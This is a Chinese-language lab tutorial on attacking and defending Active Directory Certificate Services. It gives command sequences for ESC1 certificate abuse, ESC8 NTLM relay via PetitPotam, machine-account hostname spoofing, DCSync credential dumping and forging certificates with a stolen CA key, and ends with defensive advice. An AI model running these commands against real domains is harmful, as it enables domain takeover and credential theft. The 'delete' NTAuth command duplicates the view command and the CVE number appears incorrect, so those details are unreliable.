ADCS小结
字数 2562 2025-08-07 00:35:04
Active Directory 证书服务(ADCS)攻防指南
0x00 前言
在生产环境中,强烈建议不要将证书服务安装在域控制器(DC)上,而应该部署在单独的服务器上。这是因为证书服务具有不能更改计算机名称和网络参数的特性。本文档将详细介绍ADCS的环境搭建、漏洞利用和权限维持技术。
0x01 环境搭建
ADCS环境搭建步骤
- 搭建域环境
- 添加ADCS角色:
- 勾选"Active Directory证书服务"
- 选择"证书颁发机构"、"证书注册Web服务"、"证书颁发机构Web注册"
- 配置证书颁发机构:
- 选择"企业CA"
- 设置CA类型为"根CA"
- 设置私钥为"新建私钥"
- 选择加密服务提供程序和哈希算法
- 设置CA名称和有效期(默认5年)
- 指定证书数据库位置
辅域搭建步骤
- 在辅域服务器上安装AD DS角色
- 选择"从父域复制"选项
- 完成域控制器提升
0x02 ADCS核心概念
关键术语
- 根证书颁发机构(Root CA):信任链的起始点
- 从属CA(Subordinate CA):信任链中的子节点
- 颁发CA(Issuing CA):向端点(用户、服务器)颁发证书的CA
- 独立CA(Standalone CA):未加入域的服务器上运行的CA
- 企业CA(Enterprise CA):加入域并与AD集成的CA
- 电子证书(Digital Certificate):用户身份的电子证明(X.509标准)
- AIA(Authority Information Access):指向证书颁发者位置的扩展
- CDP(CRL Distribution Point):包含CRL位置的信息
- CRL(Certificate Revocation List):已撤销证书列表
ADCS服务架构
- ORCA1:离线根CA,配置AIA及CRL,导出根CA证书和CRL文件
- APP1:从属CA,完成以下配置:
- 将根CA证书放入AD配置容器
- 部署Web Server分发证书和CRL
- 设置CDP及AIA
证书模板
证书模板存储在AD的CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com容器中,包含以下关键属性:
- 常规设置:证书有效期
- 请求处理:证书目的和导出私钥要求
- 加密:使用的CSP和最小密钥大小
- Extensions:X509v3扩展列表
- 主题名称:来自请求或域主体身份
- 发布要求:是否需要CA管理员批准
- 安全描述符:证书模板的ACL
关键OID
以下OID允许证书用于Kerberos身份认证:
| 描述 | OID |
|---|---|
| Client Authentication | 1.3.6.1.5.5.7.3.2 |
| PKINIT Client Authentication | 1.3.6.1.5.2.3.4 |
| Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 |
| Any Purpose | 2.5.29.37.0 |
| SubCA(no EKUs) | - |
Enterprise NTAuth store
NtAuthCertificates包含所有CA的证书列表,不在内的CA无法处理用户身份验证证书的申请。
操作命令:
# 添加证书到NTAuth
certutil.exe -dspublish -f IssuingCaFileName.cer NTAuthCA
# 查看NTAuth中的所有证书
certutil.exe -viewstore -enterprise NTAuth
# 删除NTAuth中的证书
certutil.exe -viewstore -enterprise NTAuth
0x03 证书注册过程
- 客户端根据Enrollment Services容器中的对象找到企业CA,创建公钥/私钥对
- 将公钥、证书主题和模板名称等信息放入CSR消息中,使用私钥签名后发送到CA服务器
- CA判断用户是否允许申请证书(检查CSR中指定的证书模板AD对象)
- 通过审核后,CA使用证书模板定义的设置生成含有客户端公钥的证书,并使用自己的私钥签署
- 签署完成的证书可供客户端使用
0x04 ADCS漏洞利用
ESC1漏洞利用
漏洞条件:
- 普通域用户有权限获取证书
- 证书模板允许客户端身份验证或智能卡登录
- 启用了
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志
利用步骤:
-
创建恶意证书模板:
- 复制"工作站身份认证"模板
- 修改模板显示名称
- 在扩展中添加"客户端身份认证"
- 为Domain Users组添加注册权限
- 在"使用者名称"中选择"在请求中提供"
-
使用Certify检测漏洞:
Certify.exe find /vulnerable
- 获取证书(指定域管用户名作为altname):
Certify.exe request /ca:matrix.sun.com\sun-Matrix-CA /template:MATRIX /altname:administrator
- 将输出的PEM转换为PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- 使用Rubeus获取TGT并注入:
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.40.101 /ptt
ESC8漏洞(PetitPotam + ADCS Relay)
漏洞条件:
ADCS的HTTP认证支持NTLM认证
利用步骤:
- 使用ntlmrelayx设置中继目标:
python3 ntlmrelayx.py -t http://192.168.40.101/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
- 使用PetitPotam触发NTLM认证:
python3 PetitPotam.py -u '' -d '' -p '' 192.168.40.129 192.168.40.102
- 收到base64编码的证书后,使用Rubeus请求STEVEN$的TGT:
Rubeus.exe asktgt /user:STEVEN$ /certificate:<base64-cert> /domain:sun.com /dc:steven.sun.com /ptt
- 使用mimikatz进行DCSync:
mimikatz # lsadump::dcsync /domain:sun.com /all /csv
CVE-2022-26963漏洞利用
影响范围:
Windows 8.1/10/11, Server 2008-2022
利用步骤:
- 定位CA机器:
certutil -config - -ping
- 创建机器账户(需ms-DS-MachineAccountQuota>0):
python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 addComputer user5 'Wsx123.'
- 更新机器账户的DNS Host Name为域控:
python3 bloodyAD.py -d sun.com -u user1 -p 'Wsx123.' --host 192.168.40.101 setAttribute 'CN=user5,CN=Computers,DC=sun,DC=com' dNSHostName '["MATRIX.sun.com"]'
- 使用Certipy生成机器证书:
certipy req 'sun.com/user5$:Wsx123.@192.168.40.101' -template Machine -dc-ip 192.168.40.101 -ca sun-MATRIX-CA
- 获取TGT:
certipy auth -pfx ./matrix.pfx -dc-ip 192.168.40.101
- 执行DCSync:
impacket-secretsdump 'sun.com/matrix$@matrix.sun.com' -hashes :<nt-hash>
0x05 权限维持技术
导出CA私钥
图形界面操作:
- 打开证书颁发机构(certsrv.msc)
- 选择"所有任务"->"备份CA"
- 选择导出格式(PFX/P12)并设置密码
命令行操作:
使用SharpDPAPI导出证书:
SharpDPAPI.exe certificates /machine
伪造证书
- 将PEM转换为PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- 使用ForgeCert伪造证书:
ForgeCert.exe --CaCertPath cert.pfx --CaCertPassword "Wsx123." --Subject "CN=User" --SubjectAltName "matrix@sun.com" --NewCertPath new.pfx --NewCertPassword "Password123!"
- 获取TGT:
Rubeus.exe asktgt /user:matrix /certificate:new.pfx /password:Password123!
注意:伪造证书的账户需要是域用户或机器账户,不能是krbtgt账户。
0x06 防御建议
- 将证书服务部署在单独的服务器上,不要安装在DC上
- 定期审计证书模板权限和配置
- 限制普通用户创建机器账户的权限(ms-DS-MachineAccountQuota)
- 监控异常证书申请行为
- 及时安装ADCS相关补丁
- 禁用不必要的证书模板
- 限制证书模板的EKU扩展